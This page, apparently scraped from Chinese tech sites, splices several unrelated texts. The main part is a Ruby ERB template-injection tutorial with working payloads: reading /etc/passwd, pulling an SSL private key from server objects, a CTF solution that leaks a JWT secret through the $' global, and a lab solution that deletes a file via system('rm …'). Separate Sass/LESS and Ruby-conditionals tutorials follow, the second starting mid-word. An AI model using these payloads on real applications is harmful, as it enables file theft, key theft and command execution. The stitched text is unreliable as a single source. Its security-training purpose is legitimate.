于Ruby的安全小問題,這里主要探討其模板注入。
在web應用中,模板的存在不可或缺,很多客戶端和服務端也會用到不同語言的模板引擎
1) 客戶端模板引擎:主要結合js實現html,一種是常規字符串模板引擎,包括doT.js、dust.js、mustache.js;另一種是Dom模板引擎,包括vue.js、Angular.js、React.js等。
2) 服務端模板引擎:由各服務端語言生成html返回客戶端,主要包括:
PHP:Smarty、Twig;
Java:Freemarker、Velocity;
Python:Jinja2、Tornado、Marko;
Ruby:Slim、ERB;
NodeJS:Jade等
模板注入與SQL注入有其類似之處,同作為一種注入攻擊,在某些特定場景可能會產生有趣的結果
在本文,主要學習ruby的ERB模板,其易于學習的特質也使其廣泛應用于各服務端模板
ERB屬于Ruby標準庫中的東西,其語法相較而言比較簡單,Ruby On Rails就是使用ERB作為創建文件的模板
我們作為攻擊者,基本方法是先識別模板引擎,枚舉可訪問的類/方法,最后利用它們來獲取所需的操作,該操作可以是讀取或寫入文件、命令執行或其他操作
我們主要需要學習的模板寫法有二
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
x = 4
puts erb_object.result(binding())
如果x可控,即可實現常見的ssti
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())
還可以進行文件讀取
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('test').read
puts erb_object.result(binding())
枚舉當前類的可用方法
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = self.methods
puts erb_object.result(binding())
Ruby全局變量 | 中文釋義 |
$! | 錯誤信息 |
$@ | 錯誤發生的位置 |
>$0< | 正在執行的程序的名稱 |
$& | 成功匹配的字符串 |
$/ | 輸入分隔符,默認為換行符 |
$\ | 輸出記錄分隔符(print和IO) |
$. | 上次讀取的文件的當前輸入行號 |
$; $-F | 默認字段分隔符 |
$, | 輸入字符串分隔符,連接多個字符串時用到 |
$= | 不區分大小寫 |
$~ | 最后一次匹配數據 |
$` | 最后一次匹配前的內容 |
$’ | 最后一次匹配后的內容 |
$+ | 最后一個括號匹配內容 |
~ | 各組匹配結果 |
$< ARGF | 命令行中給定的文件的虛擬連接文件(如果未給定任何文件,則從$stdin) |
$> | 打印的默認輸出 |
$_ | 從輸入設備中讀取的最后一行 |
$* ARGV | 命令行參數 |
$$ | 運行此腳本的Ruby的進程號 |
$? | 最后執行的子進程的狀態 |
$: $-I | 加載的二進制模塊(庫)的路徑 |
$“ | 數組包含的需要加載的庫的名字 |
$DEBUG $-d | 調試標志,由-d開關設置 |
$LOADED_FEATURES | $“的別名 |
$FILENAME | 來自$<的當前輸入文件 |
$LOAD_PATH | $: |
$stderr | 當前標準誤差輸出 |
$stdin | 當前標準輸入 |
$stdout | 當前標準輸出 |
$VERBOSE $-v | 詳細標志,由-w或-v開關設置 |
$-0 | $/ |
$-a | 只讀 |
$-i | 在in-place-edit模式下,此變量保存擴展名 |
NIL | 0本身 |
ENV | 當前環境變量 |
RUBY_VERSION | Ruby版本 |
RUBY_RELEASE_DATE | 發布日期 |
RUBY_PLATFORM | 平臺標識符 |
<%= 7 * 7 %>
<%= File.open(‘/etc/passwd’).read %>
<%= self %> //枚舉該對象可用的屬性及方法
<%= self.class.name %> //獲取self對象的類名
<%= self.methods %>
<%= self.method(:handle_POST).parameters %> //獲取目標所需的具體參數
<%= session.class.name %>
<%= self.instance_variables %>
<% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %> //提取key值
/filebak
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
我們可以判斷出主要的漏洞點在于以下代碼中
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
en
我們是想得到jwt的secret
而在這段代碼我們可以看到,ERB會對傳入密鑰進行正則匹配且對于其存在一個字數限制,當傳入的參數do和params相等的話會彈出#{params[:name][0,7]} working successfully!')</script>
而在ruby的全局變量中,存在這么一個全局變量:$’-- 最后一次匹配后的內容,所以我們就可以利用這個對匹配的字符進行讀取得到secret
payload
work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
得到secret
后續進行偽造即可,難度不高,網上wp詳細
還有另外一種解法,即利用HTTP參數傳遞類型的差異進行繞過,詳見http://mon0dy.top/2022/04/04/Ruby ERB模板注入/#sctf2019flag-shop
這里用portswigger的靶場深入了解一下ERB模板注入
我們可以看到,當我們嘗試查看有關第一個產品的更多詳細信息時,GET請求會使用message參數,并把其內容“Unfortunately this product is out of stock"在主頁上打印出來
而在ERB模板文檔中,存在這么一個用法
<%= someExpression %>用于評估表達式并將結果呈現在頁面上
所以我們不妨嘗試一下,看他能不能把我們想要的打印出來
<%=7*7%>
七七四十九,很明顯是可以打印出來的,那么我們就知道這message參數我們是可控的,這里就存在ERB模板注入問題
而在ERB文檔中,依舊存在我們喜聞樂見的system()函數
那么我們不妨whoami一下看看
確實可以運行,當前用戶為carlos
那么這道題目解決就需要刪除特定文件morale.txt即可,根據題目與目錄翻找得到文件路徑
/home/carlos/morale.txt
刪除文件
<%=system("rm%20/home/carlos/morale.txt")%>
與常見的ssti一致,都需先識別模板引擎,枚舉可訪問的類/方法,最后利用它們來獲取所需的操作進行讀取或寫入文件、命令執行或其他操作,而其可以執行的操作由可用的類方法/函數可以執行的操作決定,所需要注意防范的點也多在于這些點上,尤其對于敏感信息的泄露問題,需多加注意。
from https://www.freebuf.com/articles/web/367143.html
CSS(層疊樣式表)是一門非程序式語言,入門學習使用非常直觀方便,但是對于一些比較復雜或者重用性比較強的項目來說,因為CSS沒有變量、函數、SCOPE(作用域),需要書寫大量看似沒有邏輯的代碼,不方便維護及擴展,不利于復用,尤其對于非前端開發工程師來講,往往會因為缺少 CSS 編寫經驗而很難寫出組織良好且易于維護的 CSS 代碼。
為了方便前端開發的工作量,出現了sass和less。
SASS(英文全稱:Syntactically Awesome Stylesheets)Sass 誕生于 2007 年,使用Ruby 編寫,是一種對css的一種擴展提升,增加了規則、變量、混入、選擇器、繼承等等特性。
可以理解為用js的方式去書寫,然后編譯成css。比如說,sass中可以把反復使用的css屬性值定義成變量,然后通過變量名來引用它們,而無需重復書寫這一屬性值。
LESS(2009年開源的一個項目,受Sass的影響較大,但又使用CSS的語法,讓大部分開發者和設計師更容易上手。
LESS保留了css的任何功能,同時提供了多種方式能平滑的將寫好的代碼轉化成標準的CSS代碼,可以在任何使用隨時切換到css的語法進行書寫。
傳統的css可以直接被html引用,但是sass和less由于使用了類似JavaScript的方式去書寫,所以必須要經過編譯生成css,而html引用只能引用編譯之后的css文件,雖然過程多了一層,但是畢竟sass/less在書寫的時候就方便很多,所以在我們使用sass/less之前,只要我們提前設置好,就可以直接生成對應的css文件,而我們只需要關心我們的sass/less文件即可。
Sass的語法規則,可以參考下SASS中文網:https://www.sass.hk/。
SASS技術的文件的后綴名有兩種形式:.sass和.scss。其實兩者都是同一種東西,兩種均可以可以通過編譯生成瀏覽器能識別的css文件。這兩種的區別:
Sass 語法
$font-stack: Helvetica, sans-serif //定義變量
$primary-color: #333 //定義變量
body
font: 100% $font-stack
color: $primary-color
SCSS 語法
$font-stack: Helvetica, sans-serif;
$primary-color: #333;
body {
font: 100% $font-stack;
color: $primary-color;
}
編譯出來的 CSS
body {
font: 100% Helvetica, sans-serif;
color: #333;
}
LESS技術的后綴名只有一種,就是.less,語法規則和sass大同小異,詳細可以參考less中文網http://lesscss.cn/。
LESS使用分為兩種:
/* Less */
@color: #999;
@bgColor: skyblue;//不要添加引號
@width: 50%;
#wrap {
color: @color;
width: @width;
}
uby 是一種開源的面向對象程序設計的服務器端腳本語言,在 20 世紀 90 年代中期由日本的松本行弘(まつもとゆきひろ/Yukihiro Matsumoto)設計并開發。在 Ruby 社區,松本也被稱為馬茨(Matz)。Ruby 可運行于多種平臺,如 Windows、MAC OS 和 UNIX 的各種版本。
Ruby 提供了幾種很常見的條件結構。在這里,我們將解釋所有的條件語句和 Ruby 中可用的修飾符。
Ruby if...else 語句
語法
if conditional [then]
code...
[elsif conditional [then]
code...]...
[else
code...]
end
if 表達式用于條件執行。值 false 和 nil 為假,其他值都為真。請注意,Ruby 使用 elsif,不是使用 else if 和 elif。
如果 conditional 為真,則執行 code。如果 conditional 不為真,則執行 else 子句中指定的 code。
通常我們省略保留字 then 。若想在一行內寫出完整的 if 式,則必須以 then 隔開條件式和程式區塊。如下所示:
if a == 4 then a = 7 end
實例
#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
x=1
if x > 2
puts "x 大于 2"
elsif x <= 2 and x!=0
puts "x 是 1"
else
puts "無法得知 x 的值"
end
以上實例輸出結果:
x 是 1
Ruby if 修飾符
語法
code if condition
if修飾詞組表示當 if 右邊之條件成立時才執行 if 左邊的式子。即如果 conditional 為真,則執行 code。
實例
#!/usr/bin/ruby
$debug=1
print "debug\n" if $debug
以上實例輸出結果:
debug
Ruby unless 語句
語法
unless conditional [then]
code
[else
code ]
end
unless式和 if式作用相反,即如果 conditional 為假,則執行 code。如果 conditional 為真,則執行 else 子句中指定的 code。
實例
#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
x=1
unless x>2
puts "x 小于 2"
else
puts "x 大于 2"
end
以上實例輸出結果為:
x 小于 2
Ruby unless 修飾符
語法
code unless conditional
如果 conditional 為假,則執行 code。
實例
#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
$var = 1
print "1 -- 這一行輸出\n" if $var
print "2 -- 這一行不輸出\n" unless $var
$var = false
print "3 -- 這一行輸出\n" unless $var
以上實例輸出結果:
1 -- 這一行輸出
3 -- 這一行輸出
Ruby case 語句
語法
case expression
[when expression [, expression ...] [then]
code ]...
[else
code ]
end
case先對一個 expression 進行匹配判斷,然后根據匹配結果進行分支選擇。
它使用 ===運算符比較 when 指定的 expression,若一致的話就執行 when 部分的內容。
通常我們省略保留字 then 。若想在一行內寫出完整的 when 式,則必須以 then 隔開條件式和程式區塊。如下所示:
when a == 4 then a = 7 end
因此:
case expr0
when expr1, expr2
stmt1
when expr3, expr4
stmt2
else
stmt3
end
基本上類似于:
_tmp = expr0
if expr1 === _tmp || expr2 === _tmp
stmt1
elsif expr3 === _tmp || expr4 === _tmp
stmt2
else
stmt3
end
實例
#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
$age = 5
case $age
when 0 .. 2
puts "嬰兒"
when 3 .. 6
puts "小孩"
when 7 .. 12
puts "child"
when 13 .. 18
puts "少年"
else
puts "其他年齡段的"
end
以上實例輸出結果為:
小孩
當case的"表達式"部分被省略時,將計算第一個when條件部分為真的表達式。
foo = false
bar = true
quu = false
case
when foo then puts 'foo is true'
when bar then puts 'bar is true'
when quu then puts 'quu is true'
end
# 顯示 "bar is true"
https://www.linuxprobe.com/learn-ruby-judgment.html
*請認真填寫需求信息,我們會在24小時內與您取得聯系。